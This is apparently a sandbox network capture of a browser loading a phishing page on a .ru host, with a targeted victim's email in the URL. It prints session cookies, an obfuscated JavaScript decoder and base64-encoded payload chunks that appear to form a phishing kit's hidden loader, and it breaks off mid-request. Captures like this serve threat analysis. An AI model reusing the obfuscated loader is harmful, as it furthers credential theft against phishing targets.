2025-03-16 23:37:56 UTC	1187	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:55 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xTxWxuVGnkaSr%2FTtzHPKHodTA8y%2FCnn7S4OoSNEsgdv%2BOe1IsiQeLsmmXz1%2FqX2Wui633ztOuw41Umoyvn6fpZx6YlEWHlrV005ZjAQrDoBzmnzcSs60oYqXLMMZ8OAhD%2BrH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=16261&min_rtt=16204&rtt_var=4603&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=3151&delivery_rate=249337&cwnd=251&unsent_bytes=0&cid=88c8cc6e9e5cde98&ts=204&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Im1RM1dpN0szN0hWWUQzcGhjaG9YOXc9PSIsInZhbHVlIjoiTWJDNnlsWHZZaC8vc0lRZWVOK3c2SEU0ZVhzdzVRK3l3ZDBwem15MkVZdlBaWU1ycjA1RmVQVi9VdThPamhZZ2t2S0NjZ3I5YTFhY0R1NUttV3k5S3lTNnBNZFNWUXJqTlgwQlpkYWRScmpaSHhMTkRFc3NCK3ZhTzFJT2RDSkIiLCJtYWMiOiJlYjE3NTc0YjMxMTkzOGI2MGVkODY3ZGIyNDgxZDkzZjU4OGY1MWZjNTkyYzI5NmU2YTExMGNlNWViMjdkMjliIiwidGFnIjoiIn0%3D; expires=Mon, 17-Mar-2025 01:37:55 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-16 23:37:56 UTC	785	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 6b 34 55 45 4a 74 53 57 4e 51 61 46 51 33 64 32 34 78 63 48 6c 6e 65 43 39 50 61 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 59 57 74 68 56 31 5a 42 59 6b 5a 73 4e 31 4a 31 65 47 77 35 55 53 39 48 54 47 55 32 63 6d 74 70 51 30 5a 59 65 6b 56 6c 4b 7a 52 4a 4e 6c 68 43 4d 6e 5a 70 53 33 42 4e 52 56 4e 55 4e 6a 46 71 65 69 74 6e 55 7a 51 35 65 6d 31 56 63 6d 73 30 54 31 4d 30 62 47 35 36 56 30 64 33 5a 6d 52 70 65 56 68 34 55 56 68 57 64 32 39 36 52 6b 51 31 57 57 34 78 57 47 5a 74 5a 6b 52 6a 4e 58 6c 72 4d 6b 35 72 59 33 67 7a 59 6c 52 45 62 6d 74 55 65 58 5a 48 54 48 67 7a 64 6c 6b 34 4e 32 67 7a 56 48 42 6c 4d 31 56 57 54 45 55 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ink4UEJtSWNQaFQ3d24xcHlneC9PaGc9PSIsInZhbHVlIjoiYWthV1ZBYkZsN1J1eGw5US9HTGU2cmtpQ0ZYekVlKzRJNlhCMnZpS3BNRVNUNjFqeitnUzQ5em1Vcms0T1M0bG56V0d3ZmRpeVh4UVhWd296RkQ1WW4xWGZtZkRjNXlrMk5rY3gzYlREbmtUeXZHTHgzdlk4N2gzVHBlM1VWTEU
2025-03-16 23:37:56 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-16 23:37:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:56 UTC	1542	OUT	GET /r0lfuHO4/$admin.invoices@bluewatersps.com.au HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.au Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im1RM1dpN0szN0hWWUQzcGhjaG9YOXc9PSIsInZhbHVlIjoiTWJDNnlsWHZZaC8vc0lRZWVOK3c2SEU0ZVhzdzVRK3l3ZDBwem15MkVZdlBaWU1ycjA1RmVQVi9VdThPamhZZ2t2S0NjZ3I5YTFhY0R1NUttV3k5S3lTNnBNZFNWUXJqTlgwQlpkYWRScmpaSHhMTkRFc3NCK3ZhTzFJT2RDSkIiLCJtYWMiOiJlYjE3NTc0YjMxMTkzOGI2MGVkODY3ZGIyNDgxZDkzZjU4OGY1MWZjNTkyYzI5NmU2YTExMGNlNWViMjdkMjliIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ink4UEJtSWNQaFQ3d24xcHlneC9PaGc9PSIsInZhbHVlIjoiYWthV1ZBYkZsN1J1eGw5US9HTGU2cmtpQ0ZYekVlKzRJNlhCMnZpS3BNRVNUNjFqeitnUzQ5em1Vcms0T1M0bG56V0d3ZmRpeVh4UVhWd296RkQ1WW4xWGZtZkRjNXlrMk5rY3gzYlREbmtUeXZHTHgzdlk4N2gzVHBlM1VWTEUiLCJtYWMiOiIzMzI2MjRiNmYwZTdjMGNjYzEyNDVmYmI3Nzg1M2QyZmE4MmMxZDg0Nzc2Y2RlMzk3OTMyZWY3NzUwNTdlMjQ0IiwidGFnIjoiIn0%3D
2025-03-16 23:37:56 UTC	1213	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uA9W1RnWyh0JhWofDBigIOmBlJM59Ibkv128JvVGqZdfrJvt%2F35vGA3V15Z%2BmLcbweoyeRVX4oekKgrPvsz4Uzd9mMnz%2BYUFpnLfpknuMXdRYrzB20hNddMPdL6nVd%2BcRjDo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=361&min_rtt=313&rtt_var=117&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2443&delivery_rate=11554285&cwnd=252&unsent_bytes=0&cid=7bb14623668623db&ts=175&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Im8yNUo0aGhvY1FwdGpFQ2FicGhDYmc9PSIsInZhbHVlIjoiY0NZT0NDcG1QSTZpNXp5bE1oZDB2elVVQnpKeFE4OEI4LzdiRXdpWFZoUGY3S2U3SEZteHZJWWRHZTYzVENNeXhjS0w1RkdmRWdmRENqWTEvWUJKa0h5MWFCVXZycnRLMDMxQ1NHRXRJYUdrT2ZqUk5NdHF1QUZKYjBneC9jZlUiLCJtYWMiOiI4NzFmNGYyNzM0NDU5N2JiNzdhNDljNmEwMTBkMjFiYWU4YjQ1YmM2ZTIxNzYzZjVkMjA5ZGJjOTU4MjljMjZiIiwidGFnIjoiIn0%3D; expires=Mon, 17-Mar-2025 01:37:56 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-16 23:37:56 UTC	761	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 52 35 5a 55 6c 6a 5a 32 31 5a 55 56 4a 36 51 32 59 33 64 57 64 32 4e 6c 64 31 56 32 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 45 70 34 62 32 4d 79 57 46 51 78 62 56 46 79 4d 45 38 77 65 48 52 71 61 6a 68 59 62 58 46 68 53 6e 68 69 55 6a 6c 4d 62 7a 4e 78 4d 6b 6c 4c 61 6b 34 76 4e 44 4d 35 64 44 4e 59 5a 58 68 68 52 6c 56 34 59 32 4e 45 61 6b 51 78 64 6b 45 78 56 33 52 51 4e 55 5a 48 52 6b 31 6c 5a 45 73 31 4d 6b 70 4f 59 6e 49 79 4e 30 4d 30 62 69 39 59 51 6c 49 7a 54 33 4e 72 53 48 70 49 4e 6e 52 76 55 32 70 33 55 57 49 79 63 30 46 50 4f 56 6c 6e 59 6b 4a 50 53 46 42 47 65 58 52 35 62 58 5a 33 61 45 70 33 59 56 52 77 63 30 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InR5ZUljZ21ZUVJ6Q2Y3dWd2Nld1V2c9PSIsInZhbHVlIjoiZEp4b2MyWFQxbVFyME8weHRqajhYbXFhSnhiUjlMbzNxMklLak4vNDM5dDNYZXhhRlV4Y2NEakQxdkExV3RQNUZHRk1lZEs1MkpOYnIyN0M0bi9YQlIzT3NrSHpINnRvU2p3UWIyc0FPOVlnYkJPSFBGeXR5bXZ3aEp3YVRwc0c
2025-03-16 23:37:56 UTC	1369	IN	Data Raw: 33 61 30 66 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 4e 6f 46 4e 50 44 52 75 7a 4b 28 7a 7a 67 6a 78 6f 69 44 63 74 2c 20 65 78 56 72 42 69 67 6f 62 49 29 20 7b 0d 0a 6c 65 74 20 44 46 42 71 50 56 6c 58 69 6f 20 3d 20 27 27 3b 0d 0a 7a 7a 67 6a 78 6f 69 44 63 74 20 3d 20 61 74 6f 62 28 7a 7a 67 6a 78 6f 69 44 63 74 29 3b 0d 0a 6c 65 74 20 6d 73 53 71 4e 53 51 43 7a 55 20 3d 20 65 78 56 72 42 69 67 6f 62 49 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 7a 7a 67 6a 78 6f 69 44 63 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 44 46 42 71 50 56 6c 58 69 6f 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 7a 7a 67 6a 78 6f 69 44 63 74 2e 63 68 61 72 43 Data Ascii: 3a0f<script>function NoFNPDRuzK(zzgjxoiDct, exVrBigobI) {let DFBqPVlXio = '';zzgjxoiDct = atob(zzgjxoiDct);let msSqNSQCzU = exVrBigobI.length;for (let i = 0; i < zzgjxoiDct.length; i++) { DFBqPVlXio += String.fromCharCode(zzgjxoiDct.charC
2025-03-16 23:37:56 UTC	1369	IN	Data Raw: 69 4e 44 51 49 4a 43 73 70 42 77 4e 30 61 68 34 68 4b 79 68 2b 4a 54 38 54 4b 32 46 37 48 77 51 5a 4e 53 6b 59 48 44 5a 35 43 69 49 67 4c 68 6b 44 4f 52 4d 43 5a 58 73 66 43 42 4a 2f 42 41 64 35 4e 6e 51 63 4f 53 73 43 44 77 77 6f 41 41 5a 78 4b 68 38 50 43 69 73 45 44 41 74 79 65 51 6f 59 66 43 67 68 4f 6e 6b 41 44 57 49 30 4d 68 73 65 50 77 51 48 42 79 70 52 47 67 78 38 42 43 55 50 66 79 6f 72 5a 69 45 61 44 77 6b 2b 46 78 63 6c 41 56 4a 2f 42 43 41 45 4a 51 78 38 42 77 5a 79 64 42 6f 4e 65 77 63 45 44 41 67 69 65 51 34 58 4b 77 49 50 44 43 67 41 42 6e 45 71 4d 7a 55 4a 4a 69 6b 48 41 7a 5a 2f 4a 42 52 38 4b 43 49 62 49 77 55 47 63 6a 63 33 43 79 63 68 4b 51 73 6d 49 6c 51 46 48 48 30 52 48 7a 6f 6f 4b 48 64 6d 65 41 64 2b 63 69 63 58 47 79 59 69 66 6a Data Ascii: iNDQIJCspBwN0ah4hKyh+JT8TK2F7HwQZNSkYHDZ5CiIgLhkDORMCZXsfCBJ/BAd5NnQcOSsCDwwoAAZxKh8PCisEDAtyeQoYfCghOnkADWI0MhsePwQHBypRGgx8BCUPfyorZiEaDwk+FxclAVJ/BCAEJQx8BwZydBoNewcEDAgieQ4XKwIPDCgABnEqMzUJJikHAzZ/JBR8KCIbIwUGcjc3CychKQsmIlQFHH0RHzooKHdmeAd+cicXGyYifj
2025-03-16 23:37:56 UTC	1369	IN	Data Raw: 42 77 63 70 66 7a 70 6d 42 77 49 50 44 43 67 41 44 51 41 44 46 53 4a 37 50 41 49 34 65 51 35 71 43 6d 38 6d 4c 78 74 38 49 79 73 72 59 54 67 50 47 78 6b 6e 48 78 63 54 4b 56 49 6a 42 41 45 71 46 41 4e 2f 45 78 49 46 49 54 55 6c 4c 43 49 55 66 58 41 77 56 41 6f 41 65 43 38 4c 66 43 4d 72 4b 32 55 6a 47 67 38 4a 49 53 6b 59 66 43 39 55 43 6a 6f 36 4b 53 55 6c 49 79 30 6f 5a 6a 67 79 44 79 41 72 4b 44 68 35 44 6e 6b 4f 46 79 73 43 43 78 74 39 45 78 49 46 66 52 6f 69 43 54 55 58 46 78 4d 70 55 69 4d 45 43 52 45 62 46 79 63 74 45 6b 68 39 48 51 38 67 65 77 6b 65 4a 69 4a 35 44 68 63 72 4b 43 45 62 66 79 30 64 65 6a 67 66 43 78 45 6b 4c 77 63 48 4b 58 38 36 5a 67 63 74 48 79 5a 34 44 52 52 41 46 51 4d 45 41 52 59 70 47 52 4d 55 59 77 73 36 42 67 49 49 66 53 67 Data Ascii: BwcpfzpmBwIPDCgADQADFSJ7PAI4eQ5qCm8mLxt8IysrYTgPGxknHxcTKVIjBAEqFAN/ExIFITUlLCIUfXAwVAoAeC8LfCMrK2UjGg8JISkYfC9UCjo6KSUlIy0oZjgyDyArKDh5DnkOFysCCxt9ExIFfRoiCTUXFxMpUiMECREbFyctEkh9HQ8gewkeJiJ5DhcrKCEbfy0dejgfCxEkLwcHKX86ZgctHyZ4DRRAFQMEARYpGRMUYws6BgIIfSg
2025-03-16 23:37:56 UTC	1369	IN	Data Raw: 41 63 55 4b 54 38 54 44 57 49 69 47 67 38 4a 50 43 38 69 4a 58 56 52 47 68 41 2f 42 78 51 44 4a 52 41 53 53 43 45 47 47 41 34 35 41 41 77 41 62 6e 4d 6b 46 79 73 43 44 77 78 33 4c 51 4a 63 66 54 51 4c 48 6d 63 66 66 41 4d 74 55 77 6f 2b 50 42 49 31 44 77 73 51 48 58 6f 6d 48 77 6f 76 49 42 51 6d 43 78 42 71 47 6d 63 37 4b 51 73 4c 66 78 4d 52 52 7a 73 79 43 79 64 38 4c 77 67 63 62 6e 4d 6b 46 79 73 43 44 77 78 33 4b 6e 5a 69 65 44 51 4c 48 6d 63 4f 4a 67 67 69 65 51 34 58 4b 77 49 50 44 43 67 51 4b 41 6b 6d 4d 78 38 4a 65 77 34 6d 43 43 4a 35 44 68 63 72 41 67 38 4d 4b 41 41 47 63 53 6f 66 43 78 45 36 4c 79 45 59 4d 57 6f 67 45 44 67 71 47 7a 56 36 42 69 78 78 49 77 49 62 63 6a 6b 70 42 77 63 70 55 79 4d 63 4a 43 38 50 4c 6a 77 41 44 58 34 6c 4e 43 49 47 Data Ascii: AcUKT8TDWIiGg8JPC8iJXVRGhA/BxQDJRASSCEGGA45AAwAbnMkFysCDwx3LQJcfTQLHmcffAMtUwo+PBI1DwsQHXomHwovIBQmCxBqGmc7KQsLfxMRRzsyCyd8LwgcbnMkFysCDwx3KnZieDQLHmcOJggieQ4XKwIPDCgQKAkmMx8Jew4mCCJ5DhcrAg8MKAAGcSofCxE6LyEYMWogEDgqGzV6BixxIwIbcjkpBwcpUyMcJC8PLjwADX4lNCIG
2025-03-16 23:37:56 UTC	1369	IN	Data Raw: 5a 35 4d 67 39 36 4a 78 63 59 42 7a 4e 54 49 42 42 38 4b 68 74 30 4f 67 59 73 63 6a 67 30 66 6e 34 67 41 6a 67 6d 49 6e 6b 4f 46 79 73 43 44 77 77 6f 41 41 5a 78 4b 68 38 50 43 54 67 55 46 77 4d 72 55 52 70 69 65 67 49 49 44 43 67 45 4c 33 49 36 4d 77 67 34 42 77 51 4d 43 43 4a 35 44 68 63 72 41 67 38 4d 4b 41 41 47 63 53 6f 4d 49 58 49 35 4b 51 78 34 64 6d 6f 61 4f 69 49 71 42 42 78 35 41 41 4a 36 4f 7a 51 4c 47 6e 73 4f 4a 67 67 69 65 51 34 58 4b 77 49 50 44 43 67 41 42 6e 45 71 48 77 51 5a 49 43 67 48 47 44 46 55 42 52 77 6b 4b 53 49 44 49 69 74 32 65 6a 6b 5a 4a 51 6c 39 4c 67 63 4c 4b 56 4d 67 47 43 51 6f 66 68 68 34 43 69 78 78 4b 68 38 50 43 69 73 45 44 41 67 69 65 51 34 58 4b 77 49 4c 4e 53 4d 74 44 57 49 68 4e 53 56 36 4e 69 34 49 44 79 39 52 47 Data Ascii: Z5Mg96JxcYBzNTIBB8Kht0OgYscjg0fn4gAjgmInkOFysCDwwoAAZxKh8PCTgUFwMrURpiegIIDCgEL3I6Mwg4BwQMCCJ5DhcrAg8MKAAGcSoMIXI5KQx4dmoaOiIqBBx5AAJ6OzQLGnsOJggieQ4XKwIPDCgABnEqHwQZICgHGDFUBRwkKSIDIit2ejkZJQl9LgcLKVMgGCQofhh4CixxKh8PCisEDAgieQ4XKwILNSMtDWIhNSV6Ni4IDy9RG
2025-03-16 23:37:56 UTC	1369	IN	Data Raw: 6d 43 43 4a 35 44 68 63 72 41 67 38 4d 4b 41 55 6f 61 69 45 50 46 42 6c 39 4c 69 49 66 50 33 6b 46 4a 51 63 43 44 77 77 6f 41 41 5a 78 4b 68 38 50 43 69 73 45 44 41 67 69 61 67 6f 36 4e 69 67 4c 4e 53 63 73 45 56 38 71 44 43 45 7a 49 43 67 4c 4f 67 35 35 44 68 63 72 41 67 38 4d 4b 41 41 47 63 53 6f 66 44 77 6f 72 46 79 49 78 4b 56 55 4f 5a 33 38 6f 49 51 73 34 42 69 78 79 66 6a 55 68 44 54 73 43 4f 43 59 69 65 51 34 58 4b 77 49 50 44 43 67 41 42 6e 45 71 48 77 38 4a 49 68 51 58 43 48 4e 35 43 52 73 37 4b 41 51 71 65 41 6f 73 63 53 6f 66 44 77 6f 72 42 41 77 49 49 6c 59 63 4f 53 73 43 44 77 77 6f 41 41 5a 78 4b 68 38 50 66 69 45 58 47 41 39 31 56 42 55 63 49 41 49 45 50 67 51 41 42 6e 45 71 48 77 38 4b 4b 77 51 4d 43 43 4a 35 44 68 63 72 45 69 45 4c 4a 53 Data Ascii: mCCJ5DhcrAg8MKAUoaiEPFBl9LiIfP3kFJQcCDwwoAAZxKh8PCisEDAgiago6NigLNScsEV8qDCEzICgLOg55DhcrAg8MKAAGcSofDworFyIxKVUOZ38oIQs4BixyfjUhDTsCOCYieQ4XKwIPDCgABnEqHw8JIhQXCHN5CRs7KAQqeAoscSofDworBAwIIlYcOSsCDwwoAAZxKh8PfiEXGA91VBUcIAIEPgQABnEqHw8KKwQMCCJ5DhcrEiELJS
2025-03-16 23:37:56 UTC	1369	IN	Data Raw: 4b 68 51 39 49 77 59 73 63 54 55 59 49 67 6c 34 41 6a 67 6d 49 6e 6b 4f 46 79 73 43 44 77 77 6f 41 41 5a 78 4b 68 38 50 43 53 59 76 66 54 45 7a 55 79 63 35 4b 77 4a 2b 47 44 67 54 45 58 49 68 47 77 67 34 42 77 51 4d 43 43 4a 35 44 68 63 72 41 67 38 50 64 67 6f 73 63 53 6f 66 44 77 6f 72 42 41 77 49 49 6d 6f 67 62 7a 6f 76 43 78 73 32 41 41 31 44 42 68 38 50 43 69 73 45 44 41 67 69 65 51 34 58 4b 77 49 50 44 43 67 51 4b 48 59 6e 4e 33 34 76 4e 53 39 38 48 7a 42 71 44 6d 63 6d 4b 58 34 31 4f 53 6f 76 58 79 6f 66 4e 67 35 2b 41 43 55 4d 50 32 6f 5a 4a 51 63 43 44 77 77 6f 41 41 5a 78 4b 68 38 50 43 69 73 45 44 41 67 69 55 77 6f 51 4a 78 45 4c 49 54 6f 54 50 31 38 71 47 79 59 4a 4f 79 67 4c 4f 67 35 35 44 68 63 72 41 67 38 4d 4b 41 41 47 63 53 6f 66 44 77 6f Data Ascii: KhQ9IwYscTUYIgl4AjgmInkOFysCDwwoAAZxKh8PCSYvfTEzUyc5KwJ+GDgTEXIhGwg4BwQMCCJ5DhcrAg8PdgoscSofDworBAwIImogbzovCxs2AA1DBh8PCisEDAgieQ4XKwIPDCgQKHYnN34vNS98HzBqDmcmKX41OSovXyofNg5+ACUMP2oZJQcCDwwoAAZxKh8PCisEDAgiUwoQJxELIToTP18qGyYJOygLOg55DhcrAg8MKAAGcSofDwo
2025-03-16 23:37:56 UTC	1369	IN	Data Raw: 58 51 66 4a 51 55 6d 4c 33 31 38 64 57 6b 61 47 48 77 43 4a 6e 67 4c 4b 33 63 46 66 51 38 62 42 58 77 64 44 48 41 74 59 43 6f 35 4b 77 49 50 44 43 67 41 42 6e 45 71 48 77 67 38 4f 69 38 69 44 33 64 67 4b 6a 6b 72 41 67 38 4d 4b 42 6b 47 43 53 49 4d 47 77 30 6e 46 78 63 41 62 6e 4d 6b 46 79 73 43 44 77 78 33 45 77 4a 63 66 78 38 4c 42 54 38 55 46 77 63 2f 59 42 34 63 4a 69 6c 2b 65 48 38 51 45 6c 77 34 44 42 51 43 4a 52 30 6f 4a 69 4a 35 44 68 63 72 41 67 38 4d 4b 41 41 42 53 44 63 4d 47 77 56 38 4c 42 68 77 4d 48 6b 4b 4f 69 63 62 48 77 63 67 4b 33 63 42 49 52 38 6c 43 53 59 76 43 41 38 2f 55 7a 64 6d 4a 53 68 2b 47 79 55 74 41 6c 77 37 4e 43 55 43 5a 77 34 6d 43 43 4a 35 44 68 63 72 41 67 38 4d 4b 41 41 47 63 53 6f 66 43 44 4d 6a 41 43 56 38 48 57 6f 61 Data Ascii: XQfJQUmL318dWkaGHwCJngLK3cFfQ8bBXwdDHAtYCo5KwIPDCgABnEqHwg8Oi8iD3dgKjkrAg8MKBkGCSIMGw0nFxcAbnMkFysCDwx3EwJcfx8LBT8UFwc/YB4cJil+eH8QElw4DBQCJR0oJiJ5DhcrAg8MKAABSDcMGwV8LBhwMHkKOicbHwcgK3cBIR8lCSYvCA8/UzdmJSh+GyUtAlw7NCUCZw4mCCJ5DhcrAg8MKAAGcSofCDMjACV8HWoa
2025-03-16 23:37:56 UTC	1369	IN	Data Raw: 49 6c 4d 46 45 56 42 44 77 70 66 6e 6b 6f 45 33 64 32 4f 54 63 62 66 69 49 45 43 41 39 31 65 51 55 59 4f 43 6c 2b 64 48 38 6f 42 6e 49 67 4e 53 45 4e 4f 42 63 63 43 7a 78 70 46 51 51 67 4b 44 56 35 64 77 56 32 63 57 59 56 4a 51 6f 72 42 41 77 49 49 6e 6b 4f 46 79 73 43 44 77 77 6f 41 41 5a 78 4b 68 38 50 43 6e 51 42 66 52 73 31 56 43 64 69 42 77 49 50 44 43 67 41 42 6e 45 71 48 77 38 4b 4b 77 51 4d 43 43 4a 35 44 68 63 72 41 67 67 31 4a 43 67 64 61 53 6f 50 66 6a 4d 6b 4c 6e 77 45 66 48 6b 67 44 43 41 53 46 42 39 2b 4b 69 68 6c 4a 41 59 72 4a 43 73 45 44 41 67 69 65 51 34 58 4b 77 49 50 44 43 67 41 42 6e 45 71 48 77 38 4b 4b 77 51 4d 43 43 4a 35 43 53 34 6a 42 6a 5a 34 44 52 6f 57 41 52 77 30 66 79 38 67 4c 69 49 66 4c 6d 41 4f 62 79 4d 47 4e 6e 6b 45 41 Data Ascii: IlMFEVBDwpfnkoE3d2OTcbfiIECA91eQUYOCl+dH8oBnIgNSENOBccCzxpFQQgKDV5dwV2cWYVJQorBAwIInkOFysCDwwoAAZxKh8PCnQBfRs1VCdiBwIPDCgABnEqHw8KKwQMCCJ5DhcrAgg1JCgdaSoPfjMkLnwEfHkgDCASFB9+KihlJAYrJCsEDAgieQ4XKwIPDCgABnEqHw8KKwQMCCJ5CS4jBjZ4DRoWARw0fy8gLiIfLmAObyMGNnkEA

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:56 UTC	1147	OUT	GET /hko7ycdtxaFw8rtrjRuWyBv2CM6bIs0vVjXYlxq0qb92im HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im1RM1dpN0szN0hWWUQzcGhjaG9YOXc9PSIsInZhbHVlIjoiTWJDNnlsWHZZaC8vc0lRZWVOK3c2SEU0ZVhzdzVRK3l3ZDBwem15MkVZdlBaWU1ycjA1RmVQVi9VdThPamhZZ2t2S0NjZ3I5YTFhY0R1NUttV3k5S3lTNnBNZFNWUXJqTlgwQlpkYWRScmpaSHhMTkRFc3NCK3ZhTzFJT2RDSkIiLCJtYWMiOiJlYjE3NTc0YjMxMTkzOGI2MGVkODY3ZGIyNDgxZDkzZjU4OGY1MWZjNTkyYzI5NmU2YTExMGNlNWViMjdkMjliIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ink4UEJtSWNQaFQ3d24xcHlneC9PaGc9PSIsInZhbHVlIjoiYWthV1ZBYkZsN1J1eGw5US9HTGU2cmtpQ0ZYekVlKzRJNlhCMnZpS3BNRVNUNjFqeitnUzQ5em1Vcms0T1M0bG56V0d3ZmRpeVh4UVhWd296RkQ1WW4xWGZtZkRjNXlrMk5rY3gzYlREbmtUeXZHTHgzdlk4N2gzVHBlM1VWTEUiLCJtYWMiOiIzMzI2MjRiNmYwZTdjMGNjYzEyNDVmYmI3Nzg1M2QyZmE4MmMxZDg0Nzc2Y2RlMzk3OTMyZWY3NzUwNTdlMjQ0IiwidGFnIjoiIn0%3D
2025-03-16 23:37:57 UTC	1038	IN	HTTP/1.1 404 Not Found Date: Sun, 16 Mar 2025 23:37:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sE1qY0wPlVXzMT%2F5CY7KZIAs9Z3cU2lS6XH9cgFkrLQxipGmBw7Gae%2Foy%2BWijWRgW2xScTyl3ThPlEFb4GRm%2FSPBo%2FZACd7KipOuNq4YBP1MbTE6637bp9cLo9dcSCk4ZGu%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=16278&min_rtt=16262&rtt_var=4602&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2058&delivery_rate=247551&cwnd=251&unsent_bytes=0&cid=8a92828b874aab2e&ts=185&x=0" Server: cloudflare CF-RAY: 921814d0fc0f7d20-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1851&min_rtt=1834&rtt_var=722&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1719&delivery_rate=1479979&cwnd=184&unsent_bytes=0&cid=2d8db41f13006d79&ts=453&x=0"
2025-03-16 23:37:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:57 UTC	1484	OUT	POST /zcPXmirUKpDnF5fS6FWzlptiNfDDIwgyTrsWwWW1MfzVELBijy HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive Content-Length: 43 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://2y.osejonco.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.au Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: 